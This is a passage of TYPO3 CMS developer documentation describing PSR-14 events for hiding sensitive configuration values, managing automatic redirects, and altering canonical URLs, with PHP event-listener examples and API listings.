The PSR-14 event \TYPO3\CMS\Lowlevel\Event\ModifyBlindedConfigurationOptionsEvent is fired in the \TYPO3\CMS\Lowlevel\ConfigurationModuleProvider\GlobalVariableProvider and the \TYPO3\CMS\Lowlevel\ConfigurationModuleProvider\SitesYamlConfigurationProvider while building the configuration array to be displayed in the System > Configuration module. It allows to blind (hide) any configuration options. Usually such options are passwords or other sensitive information.

Using the getProviderIdentifier() method of the event, listeners are able to determine the context the event got dispatched in. This is useful to prevent duplicate code execution, since the event is dispatched for multiple providers. The method returns the identifier of the configuration provider as registered in the configuration module.

Example

EXT:my_extension/Classes/Lowlevel/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Lowlevel\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Lowlevel\Event\ModifyBlindedConfigurationOptionsEvent;

#[AsEventListener(
    identifier: 'my-extension/blind-configuration-options',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyBlindedConfigurationOptionsEvent $event): void
    {
        $options = $event->getBlindedConfigurationOptions();

        if ($event->getProviderIdentifier() === 'sitesYamlConfiguration') {
            $options['my-site']['settings']['apiKey'] = '***';
        } elseif ($event->getProviderIdentifier() === 'confVars') {
            $options['TYPO3_CONF_VARS']['EXTENSIONS']['my_extension']['password'] = '***';
        }

        $event->setBlindedConfigurationOptions($options);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyBlindedConfigurationOptionsEvent
Fully qualified name
\TYPO3\CMS\Lowlevel\Event\ModifyBlindedConfigurationOptionsEvent

Listeners to this Event will be able to modify the blinded configuration options, displayed in the configuration module of the TYPO3 backend.

setBlindedConfigurationOptions ( array $blindedConfigurationOptions)

Allows to define configuration options to be blinded

param $blindedConfigurationOptions

the blindedConfigurationOptions

getBlindedConfigurationOptions ( )

Returns the blinded configuration options

Returns
array
getProviderIdentifier ( )

Returns the configuration provider identifier, dispatching the event

Returns
string

AfterAutoCreateRedirectHasBeenPersistedEvent

The PSR-14 event \TYPO3\CMS\Redirects\Event\AfterAutoCreateRedirectHasBeenPersistedEvent allows extensions to react on persisted auto-created redirects. This event can be used to call external APIs or perform other tasks based on the real persisted redirects.

Example

EXT:my_extension/Classes/Redirects/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Redirects\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Redirects\Event\AfterAutoCreateRedirectHasBeenPersistedEvent;
use TYPO3\CMS\Redirects\RedirectUpdate\PlainSlugReplacementRedirectSource;

#[AsEventListener(
    identifier: 'my-extension/after-auto-create-redirect-has-been-persisted',
)]
final readonly class MyEventListener
{
    public function __invoke(AfterAutoCreateRedirectHasBeenPersistedEvent $event): void
    {
        $redirectUid = $event->getRedirectRecord()['uid'] ?? null;
        if ($redirectUid === null
            && !($event->getSource() instanceof PlainSlugReplacementRedirectSource)
        ) {
            return;
        }

        // Implement code what should be done with this information. For example,
        // write to another table, call a REST API or similar. Find your
        // use case.
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class AfterAutoCreateRedirectHasBeenPersistedEvent
Fully qualified name
\TYPO3\CMS\Redirects\Event\AfterAutoCreateRedirectHasBeenPersistedEvent

This event is fired in the TYPO3CMSRedirectsServiceSlugService after a redirect record has been automatically created and persisted after page slug change. It's mainly a pure notification event.

It can be used to update redirects external in a load-balancer directly for example, or doing some kind of synchronization.

getSlugRedirectChangeItem ( )
Returns
\TYPO3\CMS\Redirects\RedirectUpdate\SlugRedirectChangeItem
getSource ( )
Returns
\TYPO3\CMS\Redirects\RedirectUpdate\RedirectSourceInterface
getRedirectRecord ( )
Returns
array

AfterPageUrlsForSiteForRedirectIntegrityHaveBeenCollectedEvent

New in version 14.0

The PSR-14 event \TYPO3\CMS\Redirects\Event\AfterPageUrlsForSiteForRedirectIntegrityHaveBeenCollectedEvent allows TYPO3 Extensions to register event listeners to modify the list of URLs that are being processed by the CLI command redirects:checkintegrity.

Example

The event listener class, using the PHP attribute #[AsEventListener] for registration, adds the URLs found in a sites XML sitemap to the list of URLs.

EXT:my_extension/Classes/Redirects/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Redirects\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Http\RequestFactory;
use TYPO3\CMS\Redirects\Event\AfterPageUrlsForSiteForRedirectIntegrityHaveBeenCollectedEvent;

final class MyEventListener
{
    public function __construct(
        private RequestFactory $requestFactory,
    ) {}

    #[AsEventListener]
    public function __invoke(AfterPageUrlsForSiteForRedirectIntegrityHaveBeenCollectedEvent $event): void
    {
        $pageUrls = $event->getPageUrls();

        $additionalOptions = [
            'headers' => ['Cache-Control' => 'no-cache'],
            'allow_redirects' => false,
        ];

        $site = $event->getSite();
        foreach ($site->getLanguages() as $siteLanguage) {
            $sitemapIndexUrl = rtrim((string)$siteLanguage->getBase(), '/') . '/sitemap.xml';
            $response = $this->requestFactory->request(
                $sitemapIndexUrl,
                'GET',
                $additionalOptions,
            );
            $sitemapIndex = simplexml_load_string($response->getBody()->getContents());
            foreach ($sitemapIndex as $sitemap) {
                $sitemapUrl = (string)$sitemap->loc;
                $response = $this->requestFactory->request(
                    $sitemapUrl,
                    'GET',
                    $additionalOptions,
                );
                $sitemap = simplexml_load_string($response->getBody()->getContents());
                foreach ($sitemap as $url) {
                    $pageUrls[] = (string)$url->loc;
                }
            }
        }

        $event->setPageUrls($pageUrls);
    }
}
Copied!

API

class AfterPageUrlsForSiteForRedirectIntegrityHaveBeenCollectedEvent
Fully qualified name
\TYPO3\CMS\Redirects\Event\AfterPageUrlsForSiteForRedirectIntegrityHaveBeenCollectedEvent

This event is fired in TYPO3CMSRedirectsServiceIntegrityService->getAllPageUrlsForSite() to gather URLs of subpages for a given site.

getSite ( )
Returns
\TYPO3\CMS\Core\Site\Entity\Site
setPageUrls ( array $pageUrls)
param $pageUrls

the pageUrls

getPageUrls ( )
Returns
array

BeforeRedirectMatchDomainEvent

The PSR-14 event \TYPO3\CMS\Redirects\Event\BeforeRedirectMatchDomainEvent allows extensions to implement a custom redirect matching upon the loaded redirects or return the matched redirect record from other sources.

Example

EXT:my_extension/Classes/Redirects/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Redirects\EventListener;

use TYPO3\CMS\Backend\Utility\BackendUtility;
use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Redirects\Event\BeforeRedirectMatchDomainEvent;

#[AsEventListener(
    identifier: 'my-extension/before-redirect-match-domain',
)]
final readonly class MyEventListener
{
    public function __invoke(BeforeRedirectMatchDomainEvent $event): void
    {
        $matchedRedirectRecord = $this->customRedirectMatching($event);
        if ($matchedRedirectRecord !== null) {
            $event->setMatchedRedirect($matchedRedirectRecord);
        }
    }

    private function customRedirectMatching(BeforeRedirectMatchDomainEvent $event): ?array
    {
        // @todo Implement custom redirect record loading and matching. If
        //       a redirect based on custom logic is determined, return the
        //       :sql:`sys_redirect` tables conform redirect record.

        // Note: Below is simplified example code with no real value.
        $record = BackendUtility::getRecord('sys_redirect', 123);

        // Do custom matching logic against the record and return matched
        // record - if there is one.
        if ($record /* && custom condition against the record */) {
            return $record;
        }

        // Return null to indicate that no matched redirect could be found
        return null;
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class BeforeRedirectMatchDomainEvent
Fully qualified name
\TYPO3\CMS\Redirects\Event\BeforeRedirectMatchDomainEvent

This event is fired in TYPO3CMSRedirectsServiceRedirectService->matchRedirect() for checked host and wildcard host "*".

It can be used to implement a custom match method, returning a matchedRedirect record with eventually enriched record data.

getDomain ( )
Return description

Request domain name (host)

Returns
string
getPath ( )
Return description

Request path

Returns
string
getQuery ( )
Return description

Request query parameters

Returns
string
getMatchDomainName ( )
Return description

Domain name which should be checked, and getRedirects() items are provided for

Returns
string
getMatchedRedirect ( )
Return description

Returns the matched sys_redirect record or null

Returns
array|null
setMatchedRedirect ( ?array $matchedRedirect)
param $matchedRedirect

Set matched sys_redirect record or null to clear prior set record

ModifyAutoCreateRedirectRecordBeforePersistingEvent

The PSR-14 event \TYPO3\CMS\Redirects\Event\ModifyAutoCreateRedirectRecordBeforePersistingEvent allows extensions to modify the redirect record before it is persisted to the database. This can be used to change values according to circumstances, such as different sub-tree settings that are not covered by the Core site configuration. Another use case could be to write data to additional sys_redirect columns added by a custom extension for later use.

Example

EXT:my_extension/Classes/Redirects/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Redirects\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Redirects\Event\ModifyAutoCreateRedirectRecordBeforePersistingEvent;
use TYPO3\CMS\Redirects\RedirectUpdate\PlainSlugReplacementRedirectSource;

#[AsEventListener(
    identifier: 'my-extension/modify-auto-create-redirect-record-before-persisting',
)]
final readonly class MyEventListener
{
    public function __invoke(
        ModifyAutoCreateRedirectRecordBeforePersistingEvent $event,
    ): void {
        // Only work on plain slug replacement redirect sources.
        if (!($event->getSource() instanceof PlainSlugReplacementRedirectSource)) {
            return;
        }

        // Get prepared redirect record and change some values
        $record = $event->getRedirectRecord();

        // Override the status code, eventually to another value than
        // configured in the site configuration
        $record['status_code'] = 307;

        // Set value to a field extended by a custom extension, to persist
        // additional data to the redirect record.
        $record['custom_field_added_by_a_extension']
            = 'page_' . $event->getSlugRedirectChangeItem()->getPageId();

        // Update changed record in event to ensure changed values are saved.
        $event->setRedirectRecord($record);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyAutoCreateRedirectRecordBeforePersistingEvent
Fully qualified name
\TYPO3\CMS\Redirects\Event\ModifyAutoCreateRedirectRecordBeforePersistingEvent

This event is fired in the TYPO3CMSRedirectsServiceSlugService before a redirect record is persisted for changed page slug.

It can be used to modify the redirect record before persisting it. This gives extension developers the ability to apply defaults or add custom values to the record.

getSlugRedirectChangeItem ( )
Returns
\TYPO3\CMS\Redirects\RedirectUpdate\SlugRedirectChangeItem
getSource ( )
Returns
\TYPO3\CMS\Redirects\RedirectUpdate\RedirectSourceInterface
getRedirectRecord ( )
Returns
array
setRedirectRecord ( array $redirectRecord)
param $redirectRecord

the redirectRecord

ModifyRedirectManagementControllerViewDataEvent

The PSR-14 event \TYPO3\CMS\Redirects\Event\ModifyRedirectManagementControllerViewDataEvent allows extensions to modify or enrich view data for EXT:redirects/Classes/Controller/ManagementController.php (GitHub). This makes it possible to display more or other information along the way.

For example, this event can be used to add additional information to current page records.

Therefore, it can be used to generate custom data, directly assigning to the view. With overriding the backend view template via page TSconfig this custom data can be displayed where it is needed and rendered the way it is wanted.

New in version 13.0

The methods getIntegrityStatusCodes() and setIntegrityStatusCodes() have been added to the event class.

Example

EXT:my_extension/Classes/Redirects/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Redirects\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Redirects\Event\ModifyRedirectManagementControllerViewDataEvent;

#[AsEventListener(
    identifier: 'my-extension/modify-redirect-management-controller-view-data',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyRedirectManagementControllerViewDataEvent $event): void
    {
        $hosts = $event->getHosts();

        // Remove wildcard host from list
        $hosts = array_filter($hosts, static fn($host) => $host['name'] !== '*');

        // Update changed hosts list
        $event->setHosts($hosts);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyRedirectManagementControllerViewDataEvent
Fully qualified name
\TYPO3\CMS\Redirects\Event\ModifyRedirectManagementControllerViewDataEvent

This event is fired in the TYPO3CMSRedirectsControllerManagementController handleRequest() method.

It can be used to further enrich view data for the management view.

getDemand ( )

Return the demand object used to retrieve the redirects.

Returns
\TYPO3\CMS\Redirects\Repository\Demand
setDemand ( \TYPO3\CMS\Redirects\Repository\Demand $demand)

Can be used to set the demand object.

param $demand

the demand

getRedirects ( )

Return the retrieved redirects.

Returns
array
setRedirects ( array $redirects)

Can be used to set the redirects, for example, after enriching redirect fields.

param $redirects

the redirects

getRequest ( )

Return the current PSR-7 request.

Returns
\Psr\Http\Message\ServerRequestInterface
getHosts ( )

Returns the hosts to be used for the host filter select box.

Returns
array
setHosts ( array $hosts)

Can be used to update which hosts are available in the filter select box.

param $hosts

the hosts

getStatusCodes ( )

Returns the status codes for the filter select box.

Returns
array
setStatusCodes ( array $statusCodes)

Can be used to update which status codes are available in the filter select box.

param $statusCodes

the statusCodes

getCreationTypes ( )

Returns creation types for the filter select box.

Returns
array
setCreationTypes ( array $creationTypes)

Can be used to update which creation types are available in the filter select box.

param $creationTypes

the creationTypes

getShowHitCounter ( )

Returns, if hit counter should be displayed.

Returns
bool
setShowHitCounter ( bool $showHitCounter)

Can be used to manage, if the hit counter should be displayed.

param $showHitCounter

the showHitCounter

getView ( )

Returns the current view object, without controller data assigned yet.

Returns
\TYPO3\CMS\Core\View\ViewInterface
setView ( \TYPO3\CMS\Core\View\ViewInterface $view)

Can be used to assign additional data to the view.

param $view

the view

getIntegrityStatusCodes ( )

Returns all integrity status codes.

Returns
array
setIntegrityStatusCodes ( array $integrityStatusCodes)

Allows to set integrity status codes. It can be used to filter for integrity status codes.

param $integrityStatusCodes

the integrityStatusCodes

RedirectWasHitEvent

The PSR-14 event \TYPO3\CMS\Redirects\Event\RedirectWasHitEvent is fired in the \TYPO3\CMS\Redirects\Http\Middleware\RedirectHandler middleware and allows extension authors to further process the matched redirect and to adjust the PSR-7 response.

Example: Disable the hit count increment for monitoring tools

TYPO3 already implements the EXT:redirects/Classes/EventListener/IncrementHitCount.php (GitHub) listener. It is used to increment the hit count of the matching redirect record, if the feature "redirects.hitCount" is enabled. In case you want to prevent the increment in some cases, for example if the request was initiated by a monitoring tool, you can either implement your own listener with the same identifier ( redirects-increment-hit-count) or add your custom listener before and dynamically set the records disable_hitcount flag.

EXT:my_extension/Classes/Redirects/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Redirects\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Redirects\Event\RedirectWasHitEvent;

#[AsEventListener(
    identifier: 'my-extension/redirects/validate-hit-count',
    before: 'redirects-increment-hit-count',
)]
final readonly class MyEventListener
{
    public function __invoke(RedirectWasHitEvent $event): void
    {
        $matchedRedirect = $event->getMatchedRedirect();

        // This will disable the hit count increment in case the target
        // is the page 123 and the request is from the monitoring tool.
        if (str_contains($matchedRedirect['target'], 'uid=123')
            && $event->getRequest()->getAttribute('normalizedParams')
                ->getHttpUserAgent() === 'my monitoring tool'
        ) {
            $matchedRedirect['disable_hitcount'] = true;
            $event->setMatchedRedirect(
                $matchedRedirect,
            );

            // Also add a custom response header
            $event->setResponse(
                $event->getResponse()->withAddedHeader(
                    'X-My-Custom-Header',
                    'Hit count increment skipped',
                ),
            );
        }
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class RedirectWasHitEvent
Fully qualified name
\TYPO3\CMS\Redirects\Event\RedirectWasHitEvent

This event is fired in the TYPO3CMSRedirectsHttpMiddlewareRedirectHandler middleware when a request matches a configured redirect.

It can be used to further process the matched redirect and to adjust the PSR-7 Response. It furthermore allows to influence Core functionality, for example the hit count increment.

getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface
getTargetUrl ( )
Returns
\Psr\Http\Message\UriInterface
setMatchedRedirect ( array $matchedRedirect)
param $matchedRedirect

the matchedRedirect

getMatchedRedirect ( )
Returns
array
setResponse ( \Psr\Http\Message\ResponseInterface $response)
param $response

the response

getResponse ( )
Returns
\Psr\Http\Message\ResponseInterface

SlugRedirectChangeItemCreatedEvent

The PSR-14 event \TYPO3\CMS\Redirects\Event\SlugRedirectChangeItemCreatedEvent is fired in the \TYPO3\CMS\Redirects\RedirectUpdate\SlugRedirectChangeItemFactory class and allows extensions to manage the redirect sources for which redirects should be created.

TYPO3 already implements the EXT:redirects/Classes/EventListener/AddPlainSlugReplacementSource.php (GitHub) listener. It is used to add the plain slug value based source type, which provides the same behavior as before. Implementing this as a Core listener gives extension authors the ability to remove the source added by AddPlainSlugReplacementSource when their listeners are registered and executed afterwards. See the example below.

The implementation of the EXT:redirects/Classes/RedirectUpdate/RedirectSourceInterface.php (GitHub) interface is required for custom source classes. Using this interface enables automatic detection of implementations. Additionally, this allows to transport custom information and data.

Examples

Using the PageTypeSource

The source type implementation based on \TYPO3\CMS\Redirects\RedirectUpdate\PageTypeSource provides the page type number as additional value. The main use case for this source type is to provide additional source types where the source host and path are taken from a full built URI before the page slug change occurred for a specific page type. This avoids the need for extension authors to implement a custom source type for the same task, and instead providing a custom event listener to build sources for non-zero page types.

EXT:my_extension/Classes/Redirects/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Core\Context\Context;
use TYPO3\CMS\Core\Routing\InvalidRouteArgumentsException;
use TYPO3\CMS\Core\Routing\RouterInterface;
use TYPO3\CMS\Core\Routing\UnableToLinkToPageException;
use TYPO3\CMS\Core\Site\Entity\Site;
use TYPO3\CMS\Core\Site\Entity\SiteLanguage;
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Redirects\Event\SlugRedirectChangeItemCreatedEvent;
use TYPO3\CMS\Redirects\RedirectUpdate\PageTypeSource;
use TYPO3\CMS\Redirects\RedirectUpdate\RedirectSourceCollection;
use TYPO3\CMS\Redirects\RedirectUpdate\RedirectSourceInterface;

#[AsEventListener(
    identifier: 'my-extension/custom-page-type-redirect',
    after: 'redirects-add-page-type-zero-source',
)]
final readonly class MyEventListener
{
    private const CUSTOM_PAGE_TYPES = [1234, 169999];

    public function __invoke(
        SlugRedirectChangeItemCreatedEvent $event,
    ): void {
        $changeItem = $event->getSlugRedirectChangeItem();
        $sources = $changeItem->getSourcesCollection()->all();

        foreach (self::CUSTOM_PAGE_TYPES as $pageType) {
            try {
                $pageTypeSource = $this->createPageTypeSource(
                    $changeItem->getPageId(),
                    $pageType,
                    $changeItem->getSite(),
                    $changeItem->getSiteLanguage(),
                );
                if ($pageTypeSource === null) {
                    continue;
                }
            } catch (UnableToLinkToPageException) {
                // Could not properly link to page. Continue to next page type
                continue;
            }

            if ($this->isDuplicate($pageTypeSource, ...$sources)) {
                // not adding duplicate,
                continue;
            }

            $sources[] = $pageTypeSource;
        }

        // update sources
        $changeItem = $changeItem->withSourcesCollection(
            new RedirectSourceCollection(
                ...array_values($sources),
            ),
        );

        // update change item with updated sources
        $event->setSlugRedirectChangeItem($changeItem);
    }

    private function isDuplicate(
        PageTypeSource $pageTypeSource,
        RedirectSourceInterface ...$sources,
    ): bool {
        foreach ($sources as $existingSource) {
            if ($existingSource instanceof PageTypeSource
                && $existingSource->getHost() === $pageTypeSource->getHost()
                && $existingSource->getPath() === $pageTypeSource->getPath()
            ) {
                // we do not check for the type, as that is irrelevant. Same
                // host+path tuple would lead to duplicated redirects if
                // type differs.
                return true;
            }
        }
        return false;
    }

    private function createPageTypeSource(
        int $pageUid,
        int $pageType,
        Site $site,
        SiteLanguage $siteLanguage,
    ): ?PageTypeSource {
        if ($pageType === 0) {
            // pageType 0 is handled by \TYPO3\CMS\Redirects\EventListener\AddPageTypeZeroSource
            return null;
        }

        try {
            $context = GeneralUtility::makeInstance(Context::class);
            $uri = $site->getRouter($context)->generateUri(
                $pageUid,
                [
                    '_language' => $siteLanguage,
                    'type' => $pageType,
                ],
                '',
                RouterInterface::ABSOLUTE_URL,
            );
            return new PageTypeSource(
                $uri->getHost() ?: '*',
                $uri->getPath(),
                $pageType,
                [
                    'type' => $pageType,
                ],
            );
        } catch (\InvalidArgumentException|InvalidRouteArgumentsException $e) {
            throw new UnableToLinkToPageException(
                sprintf(
                    'The link to the page with ID "%d" and type "%d" could not be generated: %s',
                    $pageUid,
                    $pageType,
                    $e->getMessage(),
                ),
                1675618235,
                $e,
            );
        }
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

With a custom source implementation

EXT:my_extension/Classes/Redirects/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Redirects\EventListener;

use MyVendor\MyExtension\Redirects\CustomSource;
use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Redirects\Event\SlugRedirectChangeItemCreatedEvent;
use TYPO3\CMS\Redirects\RedirectUpdate\PlainSlugReplacementRedirectSource;
use TYPO3\CMS\Redirects\RedirectUpdate\RedirectSourceCollection;

#[AsEventListener(
    identifier: 'my-extension/redirects/add-redirect-source',
    after: 'redirects-add-plain-slug-replacement-source',
)]
final readonly class MyEventListener
{
    public function __invoke(SlugRedirectChangeItemCreatedEvent $event): void
    {
        // Retrieve change item and sources
        $changeItem = $event->getSlugRedirectChangeItem();
        $sources = $changeItem->getSourcesCollection()->all();

        // Remove plain slug replacement redirect source from sources
        $sources = array_filter(
            $sources,
            fn($source) => !($source instanceof PlainSlugReplacementRedirectSource),
        );

        // Add custom source implementation
        $sources[] = new CustomSource();

        // Replace sources collection
        $changeItem = $changeItem->withSourcesCollection(
            new RedirectSourceCollection(...array_values($sources)),
        );

        // Update changeItem in the event
        $event->setSlugRedirectChangeItem($changeItem);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

Example of a CustomSource implementation:

EXT:my_extension/Classes/Redirects/CustomSource.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Redirects;

use TYPO3\CMS\Redirects\RedirectUpdate\RedirectSourceInterface;

final class CustomSource implements RedirectSourceInterface
{
    public function getHost(): string
    {
        return '*';
    }

    public function getPath(): string
    {
        return '/some-path';
    }

    public function getTargetLinkParameters(): array
    {
        return [];
    }
}
Copied!

Default event listeners

The listener \TYPO3\CMS\Redirects\EventListener\AddPageTypeZeroSource creates a \TYPO3\CMS\Redirects\RedirectUpdate\PageTypeSource for a page before the slug has been changed. The full URI is built to fill the source_host and source_path, which takes configured route enhancers and route decorators into account, for example, the PageType route decorator.

It is not possible to configure for which page types sources should be added. If you need to do so, see Using PageTypeSource which contains an example how to implement a custom event listener based on PageTypeSource.

In case that PageTypeSource for page type 0 results in a different source, the PlainSlugReplacementSource is not removed to keep the original behaviour, which some instances may rely on.

This behaviour can be modified by adding an event listener for SlugRedirectChangeItemCreatedEvent:

Remove plain slug source, if page type 0 differs

EXT:my_extension/Classes/Backend/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Backend;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Redirects\Event\SlugRedirectChangeItemCreatedEvent;
use TYPO3\CMS\Redirects\RedirectUpdate\PageTypeSource;
use TYPO3\CMS\Redirects\RedirectUpdate\PlainSlugReplacementRedirectSource;
use TYPO3\CMS\Redirects\RedirectUpdate\RedirectSourceCollection;
use TYPO3\CMS\Redirects\RedirectUpdate\RedirectSourceInterface;

#[AsEventListener(
    identifier: 'my-extension/custom-page-type-redirect',
    // Registering after Core listener is important, otherwise we would
    // not know if there is a PageType source for page type 0
    after: 'redirects-add-page-type-zero-source',
)]
final readonly class MyEventListener
{
    public function __invoke(
        SlugRedirectChangeItemCreatedEvent $event,
    ): void {
        $changeItem = $event->getSlugRedirectChangeItem();
        $sources = $changeItem->getSourcesCollection()->all();
        $pageTypeZeroSource = $this->getPageTypeZeroSource(
            ...array_values($sources),
        );
        if ($pageTypeZeroSource === null) {
            // nothing we can do - no page type 0 source found
            return;
        }

        // Remove plain slug replacement redirect source from sources. We
        // already know, that if it is there it differs from the page type
        // 0 source, therefor it is safe to simply remove it by class check.
        $sources = array_filter(
            $sources,
            static fn($source) => !($source instanceof PlainSlugReplacementRedirectSource),
        );

        // update sources
        $changeItem = $changeItem->withSourcesCollection(
            new RedirectSourceCollection(
                ...array_values($sources),
            ),
        );

        // update change item with updated sources
        $event->setSlugRedirectChangeItem($changeItem);
    }

    private function getPageTypeZeroSource(
        RedirectSourceInterface ...$sources,
    ): ?PageTypeSource {
        foreach ($sources as $source) {
            if ($source instanceof PageTypeSource
                && $source->getPageType() === 0
            ) {
                return $source;
            }
        }
        return null;
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class SlugRedirectChangeItemCreatedEvent
Fully qualified name
\TYPO3\CMS\Redirects\Event\SlugRedirectChangeItemCreatedEvent

This event is fired in the TYPO3CMSRedirectsRedirectUpdateSlugRedirectChangeItemFactory factory if a new SlugRedirectChangeItem is created.

It can be used to add additional sources, remove sources or completely remove the change item itself. A source must implement the RedirectSourceInterface, and for each source a redirect record is created later in the SlugService. If the SlugRedirectChangeItem is set to null, no further action is executed for this slug change.

getSlugRedirectChangeItem ( )
Returns
\TYPO3\CMS\Redirects\RedirectUpdate\SlugRedirectChangeItem
setSlugRedirectChangeItem ( \TYPO3\CMS\Redirects\RedirectUpdate\SlugRedirectChangeItem $slugRedirectChangeItem)
param $slugRedirectChangeItem

the slugRedirectChangeItem

ModifyUrlForCanonicalTagEvent

With the PSR-14 event \TYPO3\CMS\Seo\Event\ModifyUrlForCanonicalTagEvent the URL for the href attribute of the canonical tag can be altered or emptied.

Changed in version 13.0

The event is being dispatched after the standard functionality has been executed, such as fetching the URL from the page properties. Effectively, this also means that getUrl() might already return a non-empty string.

Example

Changing the host of the current request and setting it as canonical:

EXT:my_extension/Classes/Seo/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Seo\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Seo\Event\ModifyUrlForCanonicalTagEvent;
use TYPO3\CMS\Seo\Exception\CanonicalGenerationDisabledException;

#[AsEventListener(
    identifier: 'my-extension/modify-url-for-canonical-tag',
)]
final readonly class MyEventListener
{
    public function __invoke(ModifyUrlForCanonicalTagEvent $event): void
    {
        if ($event->getCanonicalGenerationDisabledException() instanceof CanonicalGenerationDisabledException) {
            return;
        }

        // Only set the canonical in our example when the tag is not disabled
        // via TypoScript or via "no_index" in the page properties.
        $currentUrl = $event->getRequest()->getUri();
        $newCanonical = $currentUrl->withHost('example.com');
        $event->setUrl((string)$newCanonical);
    }
}
Copied!

New in version 13.0

The PHP attribute \TYPO3\CMS\Core\Attribute\AsEventListener has been introduced to tag a PHP class as an event listener. Alternatively, or if you need to be compatible with older TYPO3 versions, you can also register an event listener via the Configuration/Services.yaml file. Switch to an older version of this page for an example or have a look at the section Implementing an event listener in your extension.

API

class ModifyUrlForCanonicalTagEvent
Fully qualified name
\TYPO3\CMS\Seo\Event\ModifyUrlForCanonicalTagEvent

PSR-14 event to alter (or empty) a canonical URL for the href="" attribute of a canonical URL.

getUrl ( )
Returns
string
setUrl ( string $url)
param $url

the url

getRequest ( )
Returns
\Psr\Http\Message\ServerRequestInterface
getPage ( )
Returns
\TYPO3\CMS\Core\Domain\Page
getCanonicalGenerationDisabledException ( )
Returns
?\TYPO3\CMS\Seo\Exception\CanonicalGenerationDisabledException

AddJavaScriptModulesEvent

JavaScript events in custom user settings configuration options should not be placed as inline JavaScript. Instead, use a dedicated JavaScript module to handle custom events.

Example

EXT:my_extension/Classes/UserSettings/EventListener/MyEventListener.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\UserSettings\EventListener;

use TYPO3\CMS\Core\Attribute\AsEventListener;
use TYPO3\CMS\Setup\Event\AddJavaScriptModulesEvent;

#[AsEventListener(
